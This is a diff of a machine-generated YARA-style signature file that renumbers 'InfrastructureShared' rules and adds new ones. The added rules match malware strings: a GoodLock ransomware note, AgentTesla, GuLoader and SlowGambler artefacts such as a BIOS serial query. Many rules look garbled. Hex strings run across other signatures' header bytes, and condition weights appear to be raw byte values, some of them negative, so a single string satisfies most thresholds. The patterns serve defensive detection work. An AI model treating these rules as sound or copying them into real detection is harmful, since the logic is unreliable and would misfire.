+222790,7 @@ rule _InfrastructureShared_17485{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_17486{ +rule _InfrastructureShared_18628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -208925,7 +222801,7 @@ rule _InfrastructureShared_17486{ ((#a_54_0 & 1)*18467+(#a_15_2 & 1)*106) >=1 } -rule _InfrastructureShared_17487{ +rule _InfrastructureShared_18629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -208936,7 +222812,7 @@ rule _InfrastructureShared_17487{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*126) >=1 } -rule _InfrastructureShared_17488{ +rule _InfrastructureShared_18630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -208949,7 +222825,7 @@ rule _InfrastructureShared_17488{ ((#a_46_0 & 1)*16675+(#a_83_1 & 1)*400+(#a_01_2 & 1)*139+(#a_f4_3 & 1)*-30463) >=1 } -rule _InfrastructureShared_17489{ +rule _InfrastructureShared_18631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -208962,7 +222838,7 @@ rule _InfrastructureShared_17489{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*322+(#a_36_2 & 1)*17985+(#a_38_3 & 1)*13377) >=1 } -rule _InfrastructureShared_17490{ +rule _InfrastructureShared_18632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -208975,7 +222851,7 @@ rule _InfrastructureShared_17490{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*385+(#a_70_2 & 1)*-32424+(#a_64_3 & 1)*12079) >=1 } -rule _InfrastructureShared_17491{ +rule _InfrastructureShared_18633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -208989,7 +222865,7 @@ rule _InfrastructureShared_17491{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*14130+(#a_65_2 & 1)*12388+(#a_62_3 & 1)*26209+(#a_3a_5 & 1)*19521) >=1 } -rule _InfrastructureShared_17492{ +rule _InfrastructureShared_18634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -208999,7 +222875,7 @@ rule _InfrastructureShared_17492{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_17493{ +rule _InfrastructureShared_18635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -209011,7 +222887,7 @@ rule _InfrastructureShared_17493{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*30049+(#a_61_2 & 1)*17244) >=2 } -rule _InfrastructureShared_17494{ +rule _InfrastructureShared_18636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -209022,7 +222898,7 @@ rule _InfrastructureShared_17494{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101) >=2 } -rule _InfrastructureShared_17495{ +rule _InfrastructureShared_18637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -209033,7 +222909,7 @@ rule _InfrastructureShared_17495{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116) >=2 } -rule _InfrastructureShared_17496{ +rule _InfrastructureShared_18638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -209049,7 +222925,7 @@ rule _InfrastructureShared_17496{ ((#a_46_0 & 1)*16675+(#a_74_2 & 1)*26625+(#a_74_3 & 1)*31859+(#a_4c_4 & 1)*12851+(#a_63_5 & 1)*14385+(#a_61_6 & 1)*29550+(#a_01_7 & 1)*1) >=2 } -rule _InfrastructureShared_17497{ +rule _InfrastructureShared_18639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -209064,7 +222940,7 @@ rule _InfrastructureShared_17497{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25464+(#a_00_2 & 1)*101+(#a_00_3 & 1)*105+(#a_3a_4 & 1)*19521+(#a_73_5 & 1)*25974) >=3 } -rule _InfrastructureShared_17498{ +rule _InfrastructureShared_18640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -209077,7 +222953,7 @@ rule _InfrastructureShared_17498{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*30322+(#a_73_2 & 1)*25955+(#a_3a_3 & 1)*21587) >=3 } -rule _InfrastructureShared_17499{ +rule _InfrastructureShared_18641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -209088,7 +222964,7 @@ rule _InfrastructureShared_17499{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32256) >=4 } -rule _InfrastructureShared_17500{ +rule _InfrastructureShared_18642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -209101,7 +222977,7 @@ rule _InfrastructureShared_17500{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1041+(#a_75_2 & 1)*385+(#a_63_3 & 1)*30063) >=4 } -rule _InfrastructureShared_17501{ +rule _InfrastructureShared_18643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -209114,7 +222990,7 @@ rule _InfrastructureShared_17501{ ((#a_54_0 & 1)*18467+(#a_5d_1 & 1)*-29177+(#a_6e_2 & 1)*29301+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_17502{ +rule _InfrastructureShared_18644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -209127,7 +223003,7 @@ rule _InfrastructureShared_17502{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28632+(#a_00_2 & 1)*2560+(#a_01_3 & 1)*5634) >=4 } -rule _InfrastructureShared_17503{ +rule _InfrastructureShared_18645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -209139,7 +223015,7 @@ rule _InfrastructureShared_17503{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*1041+(#a_04_3 & 1)*2145) >=4 } -rule _InfrastructureShared_17504{ +rule _InfrastructureShared_18646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -209153,7 +223029,20 @@ rule _InfrastructureShared_17504{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*281+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1) >=4 } -rule _InfrastructureShared_17505{ +rule _InfrastructureShared_18647{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6c 6f 77 47 61 6d 62 6c 65 72 2e 43 21 64 68 61 00 01 00 2c 01 3c 00 73 00 63 00 72 00 69 00 70 00 74 00 3e 00 28 00 2e 00 2a 00 3f 00 29 00 3c 00 2f 00 73 00 63 00 72 00 69 00 70 } //16675 剅吺潲慪㩮卍䱉匯潬䝷浡汢牥䌮搡慨ĀⰀ㰁猀挀爀椀瀀琀㸀⠀⸀⨀㼀⤀㰀⼀猀挀爀椀瀀 + $a_01_2 = {44 00 65 00 76 00 69 00 63 00 65 00 73 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 } //1 DevicesMonitor + $a_01_3 = {53 00 45 00 4c 00 45 00 43 00 54 00 20 00 53 00 65 00 72 00 69 00 61 00 6c 00 4e 00 75 00 6d 00 62 00 65 00 72 00 20 00 46 00 52 00 4f 00 4d 00 20 00 57 00 69 00 6e 00 33 00 32 00 5f 00 42 00 49 00 4f 00 53 00 } //1 SELECT SerialNumber FROM Win32_BIOS + $a_01_4 = {2f 00 61 00 72 00 74 00 69 00 63 00 6c 00 65 00 73 00 2f 00 69 00 6d 00 61 00 67 00 65 00 73 00 2f 00 77 00 61 00 74 00 65 00 72 00 2e 00 6a 00 70 00 67 00 } //1 /articles/images/water.jpg + condition: + ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 + +} +rule _InfrastructureShared_18648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -209167,7 +223056,7 @@ rule _InfrastructureShared_17505{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25705+(#a_01_2 & 1)*5632+(#a_65_3 & 1)*29806+(#a_00_5 & 1)*0) >=4 } -rule _InfrastructureShared_17506{ +rule _InfrastructureShared_18649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -209178,7 +223067,7 @@ rule _InfrastructureShared_17506{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1280) >=5 } -rule _InfrastructureShared_17507{ +rule _InfrastructureShared_18650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -209190,7 +223079,7 @@ rule _InfrastructureShared_17507{ ((#a_54_0 & 1)*18467+(#a_09_2 & 1)*1809+(#a_0b_4 & 1)*2835) >=5 } -rule _InfrastructureShared_17508{ +rule _InfrastructureShared_18651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -209204,7 +223093,21 @@ rule _InfrastructureShared_17508{ ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1) >=5 } -rule _InfrastructureShared_17509{ +rule _InfrastructureShared_18652{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " + + strings : + $a_46_0 = {52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 43 6f 64 65 72 2e 41 59 54 21 4d 54 42 00 02 00 7c 00 41 00 6c 00 6c 00 20 00 6f 00 66 00 20 00 79 00 6f 00 75 00 72 00 20 00 73 00 65 00 6e 00 73 00 69 00 74 00 69 00 76 00 65 00 } //16675 + $a_00_1 = {69 00 6c 00 65 00 73 00 20 00 68 00 61 00 76 00 65 00 20 00 62 00 65 00 65 00 6e 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 77 00 69 00 74 00 68 00 20 00 47 00 6f 00 6f 00 64 00 4c 00 6f 00 63 00 6b 00 2e 00 01 00 3a 00 47 00 6f 00 6f 00 64 00 4c 00 6f 00 63 00 6b 00 2e 00 50 00 } //32 + $a_00_2 = {70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 01 00 0c 01 47 6f 6f 64 4c 6f 63 6b 2e 70 64 62 01 00 18 01 44 65 63 72 79 70 74 41 6c 6c 45 6e 63 72 79 70 74 65 64 46 69 6c 65 73 01 00 17 01 49 73 53 61 6e 64 62 6f 78 50 72 6f 63 65 73 73 52 75 6e 6e 69 6e 67 00 00 78 31 01 00 } //114 + $a_00_3 = {0a 00 21 23 50 55 } //6 + $a_6c_4 = {63 6b 3a 56 72 42 72 6f 74 68 65 72 73 00 02 00 35 80 01 73 6f 66 74 2e 61 6e 6a 69 61 6e 2e 63 6f 6d 2f 49 6e 74 65 72 66 61 63 65 2f 42 69 6e 64 69 6e 67 50 43 2f 42 69 6e 64 69 6e 67 55 73 69 6e } //14913 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_00_2 & 1)*114+(#a_00_3 & 1)*6+(#a_6c_4 & 1)*14913) >=6 + +} +rule _InfrastructureShared_18653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 21 " @@ -209221,7 +223124,7 @@ rule _InfrastructureShared_17509{ ((#a_41_0 & 1)*20515+(#a_69_1 & 1)*28257+(#a_61_2 & 1)*28530+(#a_3a_5 & 1)*19521+(#a_3a_6 & 1)*28788+(#a_00_7 & 1)*12129+(#a_74_8 & 1)*384+(#a_52_9 & 1)*21320) >=6 } -rule _InfrastructureShared_17510{ +rule _InfrastructureShared_18654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -209235,7 +223138,7 @@ rule _InfrastructureShared_17510{ ((#a_46_0 & 1)*16675+(#a_77_1 & 1)*25647+(#a_74_3 & 1)*26625+(#a_2f_4 & 1)*18771+(#a_00_5 & 1)*50) >=7 } -rule _InfrastructureShared_17511{ +rule _InfrastructureShared_18655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -209251,7 +223154,7 @@ rule _InfrastructureShared_17511{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*50+(#a_00_3 & 1)*50+(#a_00_4 & 1)*97+(#a_41_5 & 1)*19529+(#a_64_6 & 1)*26211+(#a_68_7 & 1)*29441) >=8 } -rule _InfrastructureShared_17512{ +rule _InfrastructureShared_18656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -209259,16 +223162,36 @@ rule _InfrastructureShared_17512{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 4c 30 30 34 21 4d 54 42 00 01 00 1a 81 01 6e 68 66 66 73 6b 64 73 6b 64 64 61 66 72 66 66 64 64 68 66 73 63 66 66 64 66 01 00 17 81 01 68 66 73 64 6b 66 64 68 67 66 73 } //18467 $a_66_1 = {61 66 66 66 64 63 68 01 00 1a 81 01 66 68 68 66 67 73 66 66 72 66 66 64 6b 66 63 64 73 68 68 66 64 61 73 64 66 68 01 00 22 81 01 73 64 64 64 64 66 66 73 68 65 67 68 64 6a 66 66 66 66 66 66 67 6a 73 6b 64 67 73 66 61 63 73 61 66 70 01 00 23 81 01 73 66 68 6a 66 6b 66 68 67 66 68 6a 73 72 66 68 64 66 68 } //29544 $a_64_2 = {66 73 66 68 73 73 63 66 67 64 62 01 00 16 81 01 6a 63 66 68 73 66 72 66 67 64 73 61 64 66 73 64 67 6b 66 66 66 66 01 00 13 81 01 6a 64 66 68 66 64 66 64 66 66 64 66 66 73 73 64 6b 66 6a 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 } //26214 - $a_31_3 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 48 4f 31 32 33 21 4d 54 42 00 01 00 27 81 01 39 39 5c 4f 72 74 68 6f 67 72 61 70 68 69 65 73 31 36 30 5c 42 72 6f 64 65 72 65 73 61 6b 73 65 73 32 30 2e 76 61 72 01 00 13 81 01 53 6f 66 74 77 61 72 65 5c 65 6f 64 65 76 6f 6e 69 61 6e 01 00 0d 81 01 42 69 63 68 72 6f } //0 - $a_65_4 = {39 31 01 00 0f 81 01 43 6f 6d 70 6f 74 61 74 69 6f 6e 73 68 69 70 01 00 0d 81 01 39 39 5c 62 61 6d 6c 65 73 2e 61 75 74 01 00 20 81 01 5c 73 70 72 61 79 65 6e 65 73 5c 63 6f 6e 73 74 69 74 75 74 69 6f 6e 61 6c 69 73 74 2e 63 72 65 01 00 14 81 01 28 28 5c 74 65 72 72 69 66 69 63 61 74 69 6f 6e 2e 62 61 61 01 00 0f 81 01 53 6f 66 74 77 61 72 65 5c } //24941 - $a_6f_5 = {72 01 00 23 81 01 53 6f 66 74 77 61 72 65 5c 6b 6f 73 74 70 6c 61 6e 73 5c 75 6e 63 6f 6e 73 65 72 76 61 74 69 76 65 6c 79 01 00 0c 81 01 4d 6f 64 65 72 6e 69 73 65 73 31 31 00 00 78 31 01 00 14 00 14 00 14 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 2e 5a 41 21 4d 54 42 00 01 00 08 01 } //25974 - $a_64_6 = {6c 65 3e 01 00 11 01 4d 75 6c 74 69 63 61 73 74 44 65 6c 65 67 61 74 65 01 00 05 01 49 6e 74 36 34 01 00 07 01 67 65 74 5f 4e 6f 77 01 00 0e 01 6f 70 5f 47 72 65 61 74 65 72 54 68 61 6e 01 00 06 01 49 6e 74 50 74 72 01 00 0c 01 4c 6f 61 64 4c 69 62 72 61 72 79 41 01 00 0e 01 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 01 00 11 01 47 } //19772 - $a_79_7 = {65 46 72 6f 6d 48 61 6e 64 6c 65 01 00 06 01 48 43 52 59 50 54 01 00 05 01 49 6e 74 31 36 01 00 07 01 43 6f 6e 76 65 72 74 01 00 07 01 54 6f 49 6e 74 33 32 01 00 08 01 67 65 74 5f 53 69 7a 65 01 00 06 01 74 68 72 65 61 64 01 00 07 01 70 72 6f 63 65 73 } //29797 + $a_31_3 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 54 30 31 21 4d 54 42 00 01 00 1d 81 01 67 61 6c 6c 65 72 6e 65 5c 73 6b 61 72 6e 73 73 74 72 65 67 65 72 5c 42 65 6c 73 73 65 01 00 0f 81 01 72 69 6b 73 64 61 61 6c 64 65 72 2e 6a 70 67 01 00 0c 81 01 44 72 75 73 69 73 6b 65 2e 74 78 74 01 00 0e } //0 + $a_79_4 = {65 65 6e 68 65 64 73 2e 6e 75 6d 01 00 0a 81 01 73 70 65 61 76 65 2e 73 61 75 01 00 23 81 01 66 69 78 69 76 65 5c 53 77 69 6e 65 62 72 65 61 64 5c 62 61 72 73 65 6c 73 70 61 74 69 65 6e 74 65 72 73 01 00 0f 81 01 6b 6f 6e 74 6f 6c 69 6e 69 65 72 2e 67 65 6e 01 00 0d 81 01 6c 61 74 72 65 75 74 69 63 } //385 + $a_69_5 = {00 1d 81 01 75 6e 64 65 72 76 69 73 6e 69 6e 67 73 69 6e 73 70 65 6b 74 72 65 72 6e 65 2e 69 6e 69 01 00 24 81 01 70 65 63 74 69 6e 61 74 6f 64 65 6e 74 69 63 75 6c 61 74 65 20 6e 6f 6e 73 68 69 70 70 69 6e 67 2e 65 78 65 00 00 78 31 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 } //26926 + $a_32_6 = {21 4d 54 42 00 01 00 27 81 01 39 39 5c 4f 72 74 68 6f 67 72 61 70 68 69 65 73 31 36 30 5c 42 72 6f 64 65 72 65 73 61 6b 73 65 73 32 30 2e 76 61 72 } //20296 + $a_81_7 = {53 6f 66 74 77 61 72 65 5c 65 6f 64 65 76 6f 6e 69 61 6e } //1 Software\eodevonian + $a_81_8 = {42 69 63 68 72 6f 6d 61 74 65 31 39 31 } //1 Bichromate191 condition: - ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*29544+(#a_64_2 & 1)*26214+(#a_31_3 & 1)*0+(#a_65_4 & 1)*24941+(#a_6f_5 & 1)*25974+(#a_64_6 & 1)*19772+(#a_79_7 & 1)*29797) >=9 + ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*29544+(#a_64_2 & 1)*26214+(#a_31_3 & 1)*0+(#a_79_4 & 1)*385+(#a_69_5 & 1)*26926+(#a_32_6 & 1)*20296+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=9 } -rule _InfrastructureShared_17513{ +rule _InfrastructureShared_18657{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 54 30 31 21 4d 54 42 00 01 00 1d 81 01 67 61 6c 6c 65 72 6e 65 5c 73 6b 61 72 6e 73 73 74 72 65 67 65 72 5c 42 65 6c 73 73 65 01 00 0f 81 01 72 69 6b 73 64 61 61 6c 64 65 72 } //18467 + $a_67_1 = {00 0c 81 01 44 72 75 73 69 73 6b 65 2e 74 78 74 01 00 0e 81 01 64 79 72 65 65 6e 68 65 64 73 2e 6e 75 6d 01 00 0a 81 01 73 70 65 61 76 65 2e 73 61 75 01 00 23 81 01 66 69 78 69 76 65 5c 53 77 69 6e 65 62 72 65 61 64 5c 62 61 72 73 65 6c 73 70 61 74 69 65 6e 74 65 72 73 01 00 0f 81 01 6b 6f 6e 74 6f 6c 69 6e 69 65 72 2e 67 65 6e 01 00 } //27182 + $a_6c_2 = {74 } //-32499 t + $a_74_3 = {63 2e 69 6e 69 01 00 1d 81 01 75 6e 64 65 72 76 69 73 6e 69 6e 67 73 69 6e 73 70 65 6b 74 72 65 72 6e 65 2e 69 6e 69 01 00 24 81 01 70 65 63 74 69 6e 61 74 6f 64 65 6e 74 69 63 75 6c 61 74 65 20 6e 6f 6e 73 68 69 70 70 69 6e 67 2e 65 78 65 00 00 78 31 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 48 } //25970 + $a_33_4 = {4d 54 42 00 01 00 27 81 01 39 39 5c 4f 72 74 68 6f 67 72 61 70 68 69 65 73 31 36 30 5c 42 72 6f 64 65 72 65 73 61 6b 73 65 73 32 30 2e 76 61 72 01 00 } //12623 + $a_53_5 = {66 } //-32493 f + $a_72_6 = {5c 65 6f 64 65 76 6f 6e 69 61 6e 01 00 0d 81 01 42 69 63 68 72 6f 6d 61 74 65 31 39 31 01 00 0f 81 01 43 6f 6d 70 6f 74 61 74 69 6f 6e 73 68 69 70 01 00 0d 81 01 39 39 5c 62 61 6d 6c 65 73 2e 61 75 74 01 00 20 81 01 5c 73 70 72 61 79 65 6e 65 73 5c 63 6f 6e 73 74 69 74 75 74 69 6f 6e 61 6c } //30580 + $a_2e_7 = {72 65 01 00 14 81 01 28 28 5c 74 65 72 72 69 66 69 63 61 74 69 6f 6e 2e 62 61 61 01 00 0f 81 01 53 6f 66 74 77 61 72 65 5c 76 65 6c 6f 75 72 01 00 23 81 01 53 6f 66 74 77 61 72 65 5c 6b 6f 73 74 70 6c 61 6e 73 5c 75 6e 63 6f 6e 73 65 72 76 61 74 69 76 65 6c 79 01 00 0c 81 01 4d 6f 64 65 72 6e 69 73 65 73 31 31 00 00 78 31 01 00 14 00 14 00 14 00 } //29545 + $a_4c_8 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 2e 5a 41 21 4d 54 42 00 01 00 08 01 3c 4d 6f 64 75 6c 65 3e 01 00 11 01 4d 75 6c 74 69 63 61 73 74 44 65 6c 65 67 61 74 65 01 00 05 } //8993 + $a_74_9 = {34 01 00 07 01 67 65 74 5f 4e 6f 77 01 00 0e 01 6f 70 5f 47 72 65 61 74 65 72 54 68 61 6e 01 00 06 01 49 6e 74 50 74 72 01 00 0c 01 4c 6f 61 64 4c 69 62 72 61 72 79 41 01 00 0e 01 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 01 00 11 01 47 65 74 54 79 70 65 46 72 6f 6d 48 61 6e 64 6c 65 01 00 06 01 48 43 52 59 50 54 01 00 05 01 49 } //18689 + condition: + ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*27182+(#a_6c_2 & 1)*-32499+(#a_74_3 & 1)*25970+(#a_33_4 & 1)*12623+(#a_53_5 & 1)*-32493+(#a_72_6 & 1)*30580+(#a_2e_7 & 1)*29545+(#a_4c_8 & 1)*8993+(#a_74_9 & 1)*18689) >=10 + +} +rule _InfrastructureShared_18658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -209286,7 +223209,7 @@ rule _InfrastructureShared_17513{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25970+(#a_73_2 & 1)*27745+(#a_00_4 & 1)*1+(#a_6e_5 & 1)*12108+(#a_61_6 & 1)*29255+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=10 } -rule _InfrastructureShared_17514{ +rule _InfrastructureShared_18659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " @@ -209314,7 +223237,7 @@ rule _InfrastructureShared_17514{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*24436+(#a_6c_2 & 1)*28257+(#a_74_3 & 1)*18177+(#a_00_4 & 1)*105+(#a_00_5 & 1)*70+(#a_00_7 & 1)*111+(#a_e8_8 & 1)*257+(#a_30_9 & 1)*400+(#a_90_10 & 1)*-31936+(#a_01_11 & 1)*100+(#a_01_12 & 1)*100+(#a_32_13 & 1)*0+(#a_73_14 & 1)*13620+(#a_00_15 & 1)*35+(#a_52_16 & 1)*20550+(#a_69_17 & 1)*12137+(#a_6c_18 & 1)*30575+(#a_49_19 & 1)*21588) >=20 } -rule _InfrastructureShared_17515{ +rule _InfrastructureShared_18660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -209325,7 +223248,7 @@ rule _InfrastructureShared_17515{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*41) >=300 } -rule _InfrastructureShared_17516{ +rule _InfrastructureShared_18661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,47 00 3c 00 05 00 21 " @@ -209338,7 +223261,7 @@ rule _InfrastructureShared_17516{ ((#a_46_0 & 1)*16675+(#a_15_1 & 1)*22272+(#a_68_2 & 1)*8513+(#a_00_4 & 1)*83) >=60 } -rule _InfrastructureShared_17517{ +rule _InfrastructureShared_18662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -209350,7 +223273,7 @@ rule _InfrastructureShared_17517{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*46+(#a_00_3 & 1)*110) >=400 } -rule _InfrastructureShared_17518{ +rule _InfrastructureShared_18663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -209362,7 +223285,7 @@ rule _InfrastructureShared_17518{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*101+(#a_32_3 & 1)*283) >=3 } -rule _InfrastructureShared_17519{ +rule _InfrastructureShared_18664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -209375,7 +223298,7 @@ rule _InfrastructureShared_17519{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*31354+(#a_6d_2 & 1)*25390+(#a_3a_3 & 1)*19521) >=3 } -rule _InfrastructureShared_17520{ +rule _InfrastructureShared_18665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -209392,7 +223315,7 @@ rule _InfrastructureShared_17520{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_2 & 1)*101+(#a_61_3 & 1)*28530+(#a_16_4 & 1)*4357+(#a_2d_5 & 1)*4358+(#a_66_6 & 1)*12851+(#a_48_7 & 1)*25961) >=3 } -rule _InfrastructureShared_17521{ +rule _InfrastructureShared_18666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -209404,7 +223327,7 @@ rule _InfrastructureShared_17521{ ((#a_46_0 & 1)*16675+(#a_17_1 & 1)*4359+(#a_00_3 & 1)*22794) >=5 } -rule _InfrastructureShared_17522{ +rule _InfrastructureShared_18667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -209417,7 +223340,7 @@ rule _InfrastructureShared_17522{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*-29876+(#a_90_2 & 1)*17803+(#a_48_4 & 1)*8448) >=5 } -rule _InfrastructureShared_17523{ +rule _InfrastructureShared_18668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -209430,7 +223353,7 @@ rule _InfrastructureShared_17523{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*103+(#a_00_3 & 1)*114+(#a_4d_4 & 1)*28257) >=5 } -rule _InfrastructureShared_17524{ +rule _InfrastructureShared_18669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -209444,7 +223367,7 @@ rule _InfrastructureShared_17524{ ((#a_4c_0 & 1)*21539+(#a_38_1 & 1)*13125+(#a_42_2 & 1)*17720+(#a_39_3 & 1)*12336+(#a_39_4 & 1)*25702) >=5 } -rule 